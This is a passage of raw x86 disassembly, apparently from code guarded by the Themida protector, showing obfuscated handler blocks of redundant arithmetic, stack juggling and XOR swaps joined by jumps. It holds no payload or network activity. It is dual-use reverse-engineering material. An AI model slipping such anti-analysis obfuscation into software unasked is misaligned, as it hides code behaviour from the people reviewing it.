jmp loc_5AA5C4
; ---------------------------------------------------------------------------
loc_5992C3: ; CODE XREF: Themida_:005A72F1j
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
mov ebp, 57DB4D12h
jmp loc_599085
; ---------------------------------------------------------------------------
loc_5992E2: ; CODE XREF: Themida_:00598BA9j
mov ebx, esp
add ebx, 4
jmp loc_5A3011
; ---------------------------------------------------------------------------
loc_5992EF: ; CODE XREF: Themida_:00596145j
mov edi, [esp]
jmp loc_5A37BE
; ---------------------------------------------------------------------------
loc_5992F7: ; CODE XREF: Themida_:0059D966j
mov esi, esp
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 3A4A62A3h
jmp loc_5A129E
; ---------------------------------------------------------------------------
loc_59930A: ; CODE XREF: Themida_:0059F1A1j
push 268h
jmp loc_5AAC41
; ---------------------------------------------------------------------------
loc_599314: ; CODE XREF: Themida_:005A8E2Aj
add esi, edx
mov edx, [esp]
add esp, 4
pop edi
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push 22E5h
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5A37B6
; ---------------------------------------------------------------------------
loc_599345: ; CODE XREF: Themida_:0059D9C6j
not ebx
add ebx, 0D86036BAh
add eax, ebx
pop ebx
push ebp
jmp loc_5A1D7D
; ---------------------------------------------------------------------------
loc_599356: ; CODE XREF: Themida_:0059D377j
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
xor [esp], cl
xor cl, [esp]
xor [esp], cl
jmp loc_598D2D
; ---------------------------------------------------------------------------
loc_599370: ; CODE XREF: Themida_:0059C749j
push ecx
mov ecx, 471B6342h
or edx, ecx
jmp loc_5A3FCB
; ---------------------------------------------------------------------------
loc_59937D: ; CODE XREF: Themida_:0059A25Bj
xor edx, esi
jmp loc_5AB357
; ---------------------------------------------------------------------------
loc_599384: ; CODE XREF: Themida_:00597358j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], dx
mov dx, 1914h
shl dx, 8
sub dx, 5448h
shr dx, 3
add dx, 1
push bp
jmp loc_5A2C93
; ---------------------------------------------------------------------------
loc_5993AE: ; CODE XREF: Themida_:00596B45j
mov eax, [esp]
add esp, 4
push ebx
mov bl, dl
mov ch, bl
mov ebx, [esp]
add esp, 4
pop edx
add ch, 94h
sub al, ch
push dword ptr [esp]
pop ecx
push ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
jmp loc_5AB4D5
; ---------------------------------------------------------------------------
loc_5993E2: ; CODE XREF: Themida_:005A727Bj
mov [esp], ebx
mov ebx, esp
sub esp, 4
mov [esp], edx
jmp loc_5A489D
; ---------------------------------------------------------------------------
loc_5993F5: ; CODE XREF: Themida_:005A55BFj
sub edx, ebp
pop ebp
jmp loc_5A309D
; ---------------------------------------------------------------------------
loc_5993FD: ; CODE XREF: Themida_:005A76CCj
sub esi, 5BB50072h
pop eax
jmp loc_599A72
; ---------------------------------------------------------------------------
loc_599409: ; CODE XREF: Themida_:0059B7ACj
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], edx
jmp loc_59CF9A
; ---------------------------------------------------------------------------
loc_599433: ; CODE XREF: Themida_:005A9BA4j
mov [esp], esi
push edx
mov edx, esp
jmp loc_5A6C80
; ---------------------------------------------------------------------------
loc_59943E: ; CODE XREF: Themida_:005A2078j
mov edi, 55F65645h
mov ecx, 0F97225Fh
xor ecx, edi
pop edi
sub dword ptr [esp+4], 33DF4FB0h
sub [esp+4], ecx
add dword ptr [esp+4], 33DF4FB0h
pop ecx
jmp loc_5A790D
; ---------------------------------------------------------------------------
loc_599465: ; CODE XREF: Themida_:0059622Aj
add esp, 4
push edx
mov dh, 3Eh
jmp loc_5998A9
; ---------------------------------------------------------------------------
loc_599470: ; CODE XREF: Themida_:005A5A2Cj
shl edx, 6
xor edx, 0BF97EFB8h
add edi, edx
jmp loc_5A27F7
; ---------------------------------------------------------------------------
loc_599480: ; CODE XREF: Themida_:005A1082j
mov ecx, 0AE8BAC31h
sub ecx, ebp
jmp loc_5A5E33
; ---------------------------------------------------------------------------
loc_59948C: ; CODE XREF: Themida_:0059791Ej
sub esp, 4
jmp loc_599FA2
; ---------------------------------------------------------------------------
loc_599497: ; CODE XREF: Themida_:005A0FD6j
xor esi, 52AC229Ah
xor esi, 4A3247BCh
jmp loc_5A8A2F
; ---------------------------------------------------------------------------
loc_5994A8: ; CODE XREF: Themida_:0059EB8Fj
sub ebx, 416B2E39h
pop edi
jmp loc_5A749B
; ---------------------------------------------------------------------------
loc_5994B4: ; CODE XREF: Themida_:005A7F8Ej
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push edx
jmp loc_598835
; ---------------------------------------------------------------------------
loc_5994CA: ; CODE XREF: Themida_:0059F514j
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
jmp loc_597F41
; ---------------------------------------------------------------------------
loc_5994DA: ; CODE XREF: Themida_:005A9CF9j
push edx
mov edx, 1C5B20CBh
jmp loc_5A5957
; ---------------------------------------------------------------------------
loc_5994E5: ; CODE XREF: Themida_:005A4D57j
pop eax
push dword ptr [esp]
pop ebp
push edi
jmp loc_59D626
; ---------------------------------------------------------------------------
loc_5994F0: ; CODE XREF: Themida_:005A420Ej
sub ecx, 4
jmp loc_5A8C7B
; ---------------------------------------------------------------------------
loc_5994FB: ; CODE XREF: Themida_:005964BEj
pop ecx
or edi, 686A5DEDh
shl edi, 6
jmp loc_598CA2
; ---------------------------------------------------------------------------
loc_59950A: ; CODE XREF: Themida_:0059C887j
push 4375h
mov [esp], eax
mov eax, 4
push edx
mov edx, 345627A8h
jmp loc_5A49FF
; ---------------------------------------------------------------------------
loc_599522: ; CODE XREF: Themida_:005A12DAj
push 5B1F4B68h
pop edx
jmp loc_59B0A8
; ---------------------------------------------------------------------------
loc_59952D: ; CODE XREF: Themida_:00596BCDj
add ah, 9
shl ah, 3
xor ah, 9Eh
sub bl, ah
mov eax, [esp]
jmp loc_5A8F0F
; ---------------------------------------------------------------------------
loc_599540: ; CODE XREF: Themida_:005A082Fj
mov [esp], ecx
push ebx
push 2D8E6554h
jmp loc_5A4702
; ---------------------------------------------------------------------------
loc_59954E: ; CODE XREF: Themida_:0059E3E6j
xchg ebp, ecx
not ebp
xchg ebp, ecx
push esi
push ecx
pop esi
pop ecx
push edi
push esi
pop edi
jmp loc_59804A
; ---------------------------------------------------------------------------
loc_599560: ; CODE XREF: Themida_:005A7B8Aj
add esi, 0FFFFFFFFh
sub esi, 1
push esi
neg dword ptr [esp]
pop esi
add esi, 5C110A8h
sub ebx, esi
pop esi
sub ebx, 648B5CBBh
sub ebx, 71DB4324h
push eax
mov eax, 774A10BBh
xor eax, 35CD0612h
add ebx, eax
pop eax
add ebx, esi
jmp loc_5A8699
; ---------------------------------------------------------------------------
loc_599595: ; CODE XREF: Themida_:0059EC69j
add esp, 4
add esi, 44AB3F33h
xor esi, 38C8E5ECh
jmp loc_5A7C5C
; ---------------------------------------------------------------------------
loc_5995AC: ; CODE XREF: Themida_:0059D191j
push eax
jmp loc_59C861
; ---------------------------------------------------------------------------
loc_5995B2: ; CODE XREF: Themida_:005A70A4j
mov al, 0FBh
jmp loc_5A5FF4
; ---------------------------------------------------------------------------
loc_5995B9: ; CODE XREF: Themida_:0059E94Dj
mov ebx, [esp]
add esp, 4
jmp loc_5A2E79
; ---------------------------------------------------------------------------
loc_5995C4: ; CODE XREF: Themida_:005A2609j
pop edx
pop dword ptr [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], edx
jmp loc_5A86E5
; ---------------------------------------------------------------------------
loc_5995D7: ; CODE XREF: Themida_:005A8749j
add edx, 0DC1FE893h
jmp loc_5A5F67
; ---------------------------------------------------------------------------
loc_5995E2: ; CODE XREF: Themida_:005A2E17j
add edx, edi
pop edi
xchg edx, [esp]
pop esp
push edi
jmp loc_59AC13
; ---------------------------------------------------------------------------
lodsd
push edx
mov edx, esp
add edx, 4
push esi
mov esi, 4
sub edx, esi
pop esi
jmp loc_5A98A2
; ---------------------------------------------------------------------------
loc_599607: ; CODE XREF: Themida_:005A87E8j
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
sub ecx, edi
pop edi
xchg ecx, [esp]
jmp loc_59D331
; ---------------------------------------------------------------------------
loc_599620: ; CODE XREF: Themida_:005A8706j
pop eax
pop dword ptr [esp]
pop esp
push 2394h
mov [esp], ebx
mov ebx, 0
jmp loc_5A8FC2
; ---------------------------------------------------------------------------
loc_599637: ; CODE XREF: Themida_:005A4F43j
mov esi, 57DB996Fh
jmp loc_5A739E
; ---------------------------------------------------------------------------
loc_599641: ; CODE XREF: Themida_:005A1CC5j
shr ebp, 4
add ebp, 0FFD54E91h
add esi, ebp
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
push eax
mov eax, 4
sub edi, 6C4E5F03h
add edi, eax
jmp loc_59E232
; ---------------------------------------------------------------------------
loc_59966B: ; CODE XREF: Themida_:005A3DBAj
and [esp], ax
pushf
jmp loc_5A3AA9
; ---------------------------------------------------------------------------
loc_599675: ; CODE XREF: Themida_:0059FD29j
xor al, dl
pop edx
add bl, al
jmp loc_5A4288
; ---------------------------------------------------------------------------
loc_59967F: ; CODE XREF: Themida_:005A1BF1j
mov edx, esp
add edx, 4
jmp loc_59A480
; ---------------------------------------------------------------------------
loc_59968C: ; CODE XREF: Themida_:0059D121j
mov [esp], edi
push esp
push dword ptr [esp]
pop edi
jmp loc_5AABEE
; ---------------------------------------------------------------------------
loc_599699: ; CODE XREF: Themida_:005A23DCj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
bt [esp], eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push 4251h
mov [esp], ebp
push 64A4h
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
jmp loc_5AA218
; ---------------------------------------------------------------------------
loc_5996F3: ; CODE XREF: Themida_:0059F608j
add edi, 40BF0726h
sub edi, 223D2C75h
sub edi, esi
jmp loc_59E34D
; ---------------------------------------------------------------------------
loc_599706: ; CODE XREF: Themida_:005A3471j
xor [esp], ebp
xor ebp, [esp]
jmp loc_5A986E
; ---------------------------------------------------------------------------
loc_599711: ; CODE XREF: Themida_:00597409j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_5A25D0
; ---------------------------------------------------------------------------
loc_599720: ; CODE XREF: Themida_:0059B057j
add ebx, ebp
pop ebp
sub esp, 4
mov [esp], ebp
push ebx
mov ebx, 64460C06h
push eax
mov eax, 31D15635h
sub eax, 6AE56466h
jmp loc_5A7BC4
; ---------------------------------------------------------------------------
loc_59973F: ; CODE XREF: Themida_:005A205Cj
mov ebp, 0EB92285h
jmp loc_596C98
; ---------------------------------------------------------------------------
loc_599749: ; CODE XREF: Themida_:0059CB0Dj
push 1904h
jmp loc_59F848
; ---------------------------------------------------------------------------
loc_599753: ; CODE XREF: Themida_:005A666Dj
mov dl, cl
mov al, dl
pop edx
mov bl, al
pop eax
mov ecx, [esp]
push 38F2h
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A45A1
; ---------------------------------------------------------------------------
loc_59977C: ; CODE XREF: Themida_:005A5E83j
shr eax, 2
add eax, 0FBF2DB93h
push ecx
mov ecx, 7061196h
dec ecx
add ecx, 0FFFFFFFFh
shl ecx, 7
sub ecx, 4BBB5AE6h
add edi, ecx
pop ecx
jmp loc_5992B4
; ---------------------------------------------------------------------------
loc_5997A2: ; CODE XREF: Themida_:005A6057j
push edi
mov edi, 653F2F08h
add edi, 9AC0D0FAh
sub ecx, edi
pop edi
xor ecx, [esp]
xor [esp], ecx
jmp loc_5A5FE5
; ---------------------------------------------------------------------------
loc_5997BC: ; CODE XREF: Themida_:005A2F9Bj
push edx
mov edx, ebx
mov ecx, edx
pop edx
pop ebx
xor ecx, 582934CEh
and ecx, 67A54DCh
shr ecx, 3
add ecx, 85037FA1h
xor esi, ecx
pop ecx
push eax
jmp loc_59E62D
; ---------------------------------------------------------------------------
loc_5997E1: ; CODE XREF: Themida_:005A0BF2j
push ebx
mov bl, 7
push ax
mov ah, bl
not ah
mov bl, ah
pop ax
sub bl, 0D2h
jmp loc_5AAD28
; ---------------------------------------------------------------------------
loc_5997F6: ; CODE XREF: Themida_:0059D6BEj
add esi, ebp
pop ebp
jmp loc_5A0186
; ---------------------------------------------------------------------------
loc_5997FE: ; CODE XREF: Themida_:005A86D5j
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
mov edi, 36572D54h
push esi
jmp loc_59F5F7
; ---------------------------------------------------------------------------
loc_59981C: ; CODE XREF: Themida_:005A6FB1j
sub esp, 4
mov [esp], esi
jmp loc_59762E
; ---------------------------------------------------------------------------
loc_599827: ; CODE XREF: Themida_:00596EEFj
pop ebx
push ebp
jmp loc_59CF5E
; ---------------------------------------------------------------------------
loc_59982E: ; CODE XREF: Themida_:0059AC0Ej
push ecx
push dword ptr [esp+4]
jmp loc_599939
; ---------------------------------------------------------------------------
loc_599838: ; CODE XREF: Themida_:005A989Dj
add esp, 4
push esi
jmp loc_5A10F0
; ---------------------------------------------------------------------------
loc_599844: ; CODE XREF: Themida_:00598B9Ej
add eax, 7C43308Bh
mov edx, [esp]
add esp, 4
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_599854: ; CODE XREF: Themida_:005A3502j
add edx, edi
mov edi, [esp]
add esp, 4
add edx, 2
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_599874: ; CODE XREF: Themida_:0059782Aj
pop esi
add edx, edi
sub edx, 67315BB4h
jmp loc_59BD47
; ---------------------------------------------------------------------------
loc_599882: ; CODE XREF: Themida_:005A684Ej
pop ebx
xor dl, cl
pop ecx
sub al, dl
jmp loc_5AB423
; ---------------------------------------------------------------------------
loc_59988D: ; CODE XREF: Themida_:00599195j
push esp
push dword ptr [esp]
jmp loc_59ADAC
; ---------------------------------------------------------------------------
loc_599896: ; CODE XREF: Themida_:005A3EEAj
mov [esp], eax
push 0F0Eh
mov [esp], ebx
mov eax, [esp]
jmp loc_59EA75
; ---------------------------------------------------------------------------
loc_5998A9: ; CODE XREF: Themida_:0059946Bj
add bl, dh
pop edx
add al, 75h
jmp loc_5A2B77
; ---------------------------------------------------------------------------
loc_5998B3: ; CODE XREF: Themida_:005A8C58j
mov edx, 50E54FABh
sub ecx, edx
pop edx
sub ecx, 6E0E58BEh
add ecx, edi
sub esp, 4
mov [esp], esi
push eax
mov eax, 74186C82h
shr eax, 8
shl eax, 1
sub eax, 53946E7Eh
or eax, 23DE5CAEh
shr eax, 4
sub eax, 9CEFA531h
mov esi, eax
pop eax
add ecx, esi
pop esi
push eax
mov eax, 43E70A62h
push 0
sub [esp], eax
pop eax
xor eax, 0ECFDBA35h
add ecx, eax
pop eax
push ebx
xor dword ptr [esp], 73353301h
pop dword ptr [ecx]
push edx
jmp loc_59BBCB
; ---------------------------------------------------------------------------
loc_599916: ; CODE XREF: Themida_:0059DD04j
pop esi
add esp, 4
or eax, eax
jz loc_59DDCD
push 1C92h
jmp loc_5A6C0B
; ---------------------------------------------------------------------------
loc_59992C: ; CODE XREF: Themida_:00596286j
add ebp, 0E843D093h
add esi, ebp
jmp loc_5A6D7B
; ---------------------------------------------------------------------------
loc_599939: ; CODE XREF: Themida_:00599833j
pop ecx
jmp loc_5A8211
; ---------------------------------------------------------------------------
loc_59993F: ; CODE XREF: Themida_:00597295j
shl esi, 7
jmp loc_5A5238
; ---------------------------------------------------------------------------
loc_599947: ; CODE XREF: Themida_:005A04C5j
add eax, 376B5F8Fh
add eax, ebx
sub eax, 376B5F8Fh
jmp loc_59FE5C
; ---------------------------------------------------------------------------
loc_599958: ; CODE XREF: Themida_:0059C009j
mov esp, [esp]
push 49CDh
mov [esp], ebp
jmp loc_5AACC7
; ---------------------------------------------------------------------------
loc_599968: ; CODE XREF: Themida_:0059F8B6j
and ch, 85h
shl ch, 5
not ch
jmp loc_59A1EE
; ---------------------------------------------------------------------------
loc_599975: ; CODE XREF: Themida_:0059EF75j
sub ecx, 520E5431h
mov edx, [esp]
add esp, 4
sub [edi+24h], ecx
mov ecx, [esp]
add esp, 4
loc_599990: ; CODE XREF: Themida_:005AA190j
push 2445h
jmp loc_5A5AC0
; ---------------------------------------------------------------------------
loc_59999A: ; CODE XREF: Themida_:0059D43Ej
push ecx
mov ecx, 41836CFEh
mov esi, 0F6E3DC89h
push edi
jmp loc_59E9A5
; ---------------------------------------------------------------------------
loc_5999AB: ; CODE XREF: Themida_:0059E8F1j
add edx, 0FFFFFFFFh
not edx
inc edx
xchg esi, edx
not esi
xchg esi, edx
or edx, 360E6E28h
inc edx
jmp loc_59CD0B
; ---------------------------------------------------------------------------
loc_5999C3: ; CODE XREF: Themida_:005AA857j
add dword ptr [esp+4], 46217B31h
jmp loc_595EE6
; ---------------------------------------------------------------------------
loc_5999D0: ; CODE XREF: Themida_:005A5BD3j
xor edi, 0AFFFEF7Bh
mov ebp, edi
pop edi
push eax
mov eax, 75EA127Ah
inc eax
add eax, 52C61CC2h
shr eax, 5
shl eax, 3
shl eax, 3
xor eax, 0F0BF1FA7h
sub ebx, eax
jmp loc_5A634D
; ---------------------------------------------------------------------------
loc_5999FA: ; CODE XREF: Themida_:005983A0j
cmp cx, ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_599A03: ; CODE XREF: Themida_:005A7039j
add edx, 327E1EB7h
add edx, 4D3118F3h
xor edx, 93526558h
add esi, edx
mov edx, [esp]
add esp, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
sub [esp], eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_599A32: ; CODE XREF: Themida_:0059C49Cj
push esi
mov esi, 111622C2h
push ecx
mov ecx, 7C404F9Fh
neg ecx
not ecx
jmp loc_5A9DB6
; ---------------------------------------------------------------------------
loc_599A47: ; CODE XREF: Themida_:005A6EE3j
add ebp, edx
mov edx, [esp]
add esp, 4
shl ebp, 4
inc ebp
push ecx
mov ecx, 4E5855F6h
not ecx
xor ecx, 0A904F766h
sub ebp, ecx
jmp loc_5A8C31
; ---------------------------------------------------------------------------
loc_599A6B: ; CODE XREF: Themida_:00599CB4j
mov eax, [ecx]
jmp loc_597C60
; ---------------------------------------------------------------------------
loc_599A72: ; CODE XREF: Themida_:00599404j
add ecx, 709039C9h
jmp loc_5A9C38
; ---------------------------------------------------------------------------
loc_599A7D: ; CODE XREF: Themida_:005A1F97j
add [esp+0Ch], ebx
pop ebx
pop ebx
jmp loc_59810C
; ---------------------------------------------------------------------------
loc_599A88: ; CODE XREF: Themida_:0059CF33j
mov [esp], esi
jmp loc_5A528F
; ---------------------------------------------------------------------------
loc_599A90: ; CODE XREF: Themida_:00596E21j
add ecx, 4
sub ecx, 4
jmp loc_5A7BFF
; ---------------------------------------------------------------------------
loc_599A9E: ; CODE XREF: Themida_:0059AB6Aj
mov edx, [esp]
add esp, 4
jmp loc_5AA758
; ---------------------------------------------------------------------------
loc_599AA9: ; CODE XREF: Themida_:0059E449j
pop esp
jmp loc_59DB60
; ---------------------------------------------------------------------------
loc_599AAF: ; CODE XREF: Themida_:005A54CEj
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A378E
; ---------------------------------------------------------------------------
loc_599ABE: ; CODE XREF: Themida_:005A8DE8j
sub bl, al
push edx
mov dl, 9Ch
sub bl, dl
pop edx
push small 630Fh
mov [esp], dx
mov dh, 4Ah
jmp loc_5A55D4
; ---------------------------------------------------------------------------
loc_599AD5: ; CODE XREF: Themida_:005A6762j
push ebp
mov ebp, 53ED75B4h
or esi, ebp
pop ebp
xor esi, 70155329h
add ebx, esi
jmp loc_59C7ED
; ---------------------------------------------------------------------------
loc_599AEB: ; CODE XREF: Themida_:005A120Bj
push edx
mov edx, 4
add edi, edx
pop edx
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
mov edi, 4
sub ebp, 62FA32B2h
sub ebp, 35454523h
add ebp, edi
add ebp, 35454523h
push edi
mov edi, 62FA32B2h
add ebp, edi
pop edi
jmp loc_5A06FE
; ---------------------------------------------------------------------------
loc_599B28: ; CODE XREF: Themida_:005AA7B6j
add edx, ebx
add [edx], eax
pop edx
pop ebx
pop eax
loc_599B2F: ; CODE XREF: Themida_:0059D871j
push ebx
push edi
push 5837h
jmp loc_5A811C
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
add esp, 4
push 196Dh
mov [esp], edi
mov edi, 49E705EAh
push esi
mov esi, 0B618FA1Ah
add edi, esi
pop esi
sub ebx, 67A60BBFh
jmp loc_5972CD
; ---------------------------------------------------------------------------
loc_599B71: ; CODE XREF: Themida_:005AA95Aj
add edx, 578201C6h
jmp loc_59617D
; ---------------------------------------------------------------------------
loc_599B7C: ; CODE XREF: Themida_:0059F431j
inc ebx
jmp loc_5A0B6F
; ---------------------------------------------------------------------------
loc_599B82: ; CODE XREF: Themida_:005AAB74j
sub esi, 50151E70h
add esi, 36C75CE5h
push edx
mov edx, 70A03DCDh
sub edx, 59290862h
jmp loc_5A8743
; ---------------------------------------------------------------------------
loc_599B9F: ; CODE XREF: Themida_:005AAED2j
add ebx, 670063F7h
sub ebx, 2D744898h
sub ebx, eax
push edi
push ebx
push 120F68C4h
pop ebx
inc ebx
sub ebx, 5A0E4001h
sub ebx, 37142752h
inc ebx
shl ebx, 7
add ebx, 0F1A77C3Bh
mov edi, ebx
pop ebx
sub esp, 4
mov [esp], ebx
mov ebx, 4C1220BBh
jmp loc_5A7F41
; ---------------------------------------------------------------------------
loc_599BDF: ; CODE XREF: Themida_:005961A0j
push dword ptr [esp]
pop ebp
jmp loc_5A8801
; ---------------------------------------------------------------------------
loc_599BE8: ; CODE XREF: Themida_:005AA1F7j
xor ch, 0A9h
xor ch, 5Fh
add bl, ch
pop ecx
jmp loc_59F240
; ---------------------------------------------------------------------------
loc_599BF6: ; CODE XREF: Themida_:005A7EF2j
mov [esp], ebx
mov bl, dl
mov dl, [esp+5]
mov [esp+5], bl
pop ebx
pop ecx
push ebx
push edx
mov dl, 0A4h
not dl
push ax
mov ah, 0D4h
add dl, ah
pop ax
mov bl, 8Fh
add bl, dl
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_59F24F
; ---------------------------------------------------------------------------
loc_599C31: ; CODE XREF: Themida_:005A8A85j
pop esp
mov [esp], ecx
push 1A4Dh
mov [esp], ebx
mov bl, 13h
push eax
jmp loc_5AAC98
; ---------------------------------------------------------------------------
loc_599C45: ; CODE XREF: Themida_:00597C9Fj
mov ebx, 3074287Fh
xor ebx, 0EE0DEA1Ch
sub edi, ebx
pop ebx
add ebx, edi
jmp loc_5A366B
; ---------------------------------------------------------------------------
loc_599C5A: ; CODE XREF: Themida_:005A8509j
push ebp
jmp loc_5A902A
; ---------------------------------------------------------------------------
loc_599C60: ; CODE XREF: Themida_:005AA3A1j
mov [esp], ax
mov al, 0B3h
push 56E9h
jmp loc_5A4C15
; ---------------------------------------------------------------------------
loc_599C70: ; CODE XREF: Themida_:00597CCDj
push dword ptr [esp]
pop edi
add esp, 4
push dword ptr [esp]
pop edx
push 2623h
mov [esp], edx
mov edx, esp
push edi
mov edi, 4
sub edx, 0A7236D8h
jmp loc_59635A
; ---------------------------------------------------------------------------
loc_599C96: ; CODE XREF: Themida_:0059BF2Aj
sub dword ptr [esp], 5A4E20FEh
mov ecx, [esp]
add esp, 4
add ecx, 5A4E20FEh
mov eax, [esp]
add esp, 4
add ecx, edi
jmp loc_599A6B
; ---------------------------------------------------------------------------
loc_599CB9: ; CODE XREF: Themida_:005A62BEj
shr eax, 10h
xor eax, ecx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
push ecx
push eax
mov eax, 294A166Fh
mov ecx, 294A1673h
sub ecx, eax
pop eax
sub esi, 1F608E5h
add esi, ecx
push ebp
mov ebp, 68DC14ABh
xor ebp, 692A1C4Eh
add esi, ebp
pop ebp
jmp loc_5A9FF6
; ---------------------------------------------------------------------------
loc_599D03: ; CODE XREF: Themida_:005AAE3Dj
pop ecx
dec esi
dec esi
xor esi, 5071BF3h
xor ebx, esi
jmp loc_5A37CF
; ---------------------------------------------------------------------------
loc_599D13: ; CODE XREF: Themida_:005A3D9Aj
mov edx, 58CA1035h
xor edx, 4AD33596h
jmp loc_5A44AF
; ---------------------------------------------------------------------------
loc_599D23: ; CODE XREF: Themida_:0059C042j
sub esp, 4
mov [esp], edi
mov edi, 71973538h
and edi, 4D0F4F9Eh
xor edi, 4580672h
or edi, 7FE82FADh
xor edi, 0C6F3BB49h
sub edx, edi
pop edi
mov esi, edx
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5AA373
; ---------------------------------------------------------------------------
loc_599D62: ; CODE XREF: Themida_:005A60F0j
pop edx
add edi, ecx
push 348Ah
mov [esp], ecx
push ebx
jmp loc_5985E0
; ---------------------------------------------------------------------------
loc_599D73: ; CODE XREF: Themida_:005A65BCj
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_59E82C
; ---------------------------------------------------------------------------
loc_599D8B: ; CODE XREF: Themida_:005A4070j
mov cl, bh
mov ebx, [esp]
add esp, 4
jmp loc_59DA76
; ---------------------------------------------------------------------------
loc_599D98: ; CODE XREF: Themida_:0059A95Ej
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
push ecx
push 7985h
jmp loc_59F456
; ---------------------------------------------------------------------------
loc_599DB0: ; CODE XREF: Themida_:0059F8CFj
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_5A4CB8
; ---------------------------------------------------------------------------
loc_599DBE: ; CODE XREF: Themida_:00598E08j
sub bh, 0EDh
add al, 0A3h
sub al, bh
sub al, 0A3h
pop ebx
mov dx, [esp]
push ecx
mov ecx, esp
push edi
mov edi, 50575450h
shr edi, 6
neg edi
not edi
push eax
mov eax, 4AC767CDh
and eax, 194569FEh
jmp loc_59E952
; ---------------------------------------------------------------------------
loc_599DEC: ; CODE XREF: Themida_:005AB50Bj
pop esi
xchg ebx, [esp]
mov esp, [esp]
mov ax, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_5A5341
; ---------------------------------------------------------------------------
loc_599E05: ; CODE XREF: Themida_:0059AD54j
xchg edi, [esp]
pop esp
jmp loc_59E16E
; ---------------------------------------------------------------------------
loc_599E0E: ; CODE XREF: Themida_:005A66E9j
xor eax, edx
mov edx, [esp]
add esp, 4
push eax
mov eax, 15FE00BDh
jmp loc_5988F9
; ---------------------------------------------------------------------------
loc_599E24: ; CODE XREF: Themida_:005960DEj
sub ecx, 4
jmp loc_597001
; ---------------------------------------------------------------------------
loc_599E2F: ; CODE XREF: Themida_:005A96D7j
mov edi, 0
sub edi, ebx
push edi
pop ebx
jmp loc_59E186
; ---------------------------------------------------------------------------
loc_599E3D: ; CODE XREF: Themida_:00596497j
and esi, 2C612723h
shr esi, 6
and esi, 6C9C45CBh
xor esi, 19AD6F82h
push ecx
mov ecx, 68931048h
jmp loc_5A11A1
; ---------------------------------------------------------------------------
loc_599E5D: ; CODE XREF: Themida_:0059E5C4j
sub edx, ebx
sub edx, 1D976900h
jmp loc_5A17A4
; ---------------------------------------------------------------------------
loc_599E6A: ; CODE XREF: Themida_:0059C0C8j
mov ch, ah
pop eax
sub dh, 0ECh
sub dh, ch
jmp loc_59E3B4
; ---------------------------------------------------------------------------
loc_599E77: ; CODE XREF: Themida_:0059804Cj
push 139h
mov [esp], edi
pop eax
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5A64B2
; ---------------------------------------------------------------------------
loc_599E91: ; CODE XREF: Themida_:005A70CDj
mov edi, 5ADA0872h
shl edi, 4
not edi
sub edi, 549E2C50h
jmp loc_59C8A8
; ---------------------------------------------------------------------------
loc_599EA6: ; CODE XREF: Themida_:005A730Dj
inc ebp
push ecx
mov ecx, 8E67AFh
jmp loc_598D16
; ---------------------------------------------------------------------------
loc_599EB2: ; CODE XREF: Themida_:005972F3j
mov [esp], esp
add dword ptr [esp], 4
pop ebx
jmp loc_5A6B70
; ---------------------------------------------------------------------------
loc_599EBF: ; CODE XREF: Themida_:00597722j
mov [esp], edi
jmp loc_5A3476
; ---------------------------------------------------------------------------
loc_599EC7: ; CODE XREF: Themida_:0059EA70j
shr bh, 3
xor bh, 39h
sub al, bh
mov ebx, [esp]
add esp, 4
sub al, 0B2h
push small 1A40h
mov [esp], dx
sub esp, 4
jmp loc_5A3B47
; ---------------------------------------------------------------------------
loc_599EED: ; CODE XREF: Themida_:005969A9j
push 2B72h
sub esp, 4
mov [esp], esp
jmp loc_5A40F2
; ---------------------------------------------------------------------------
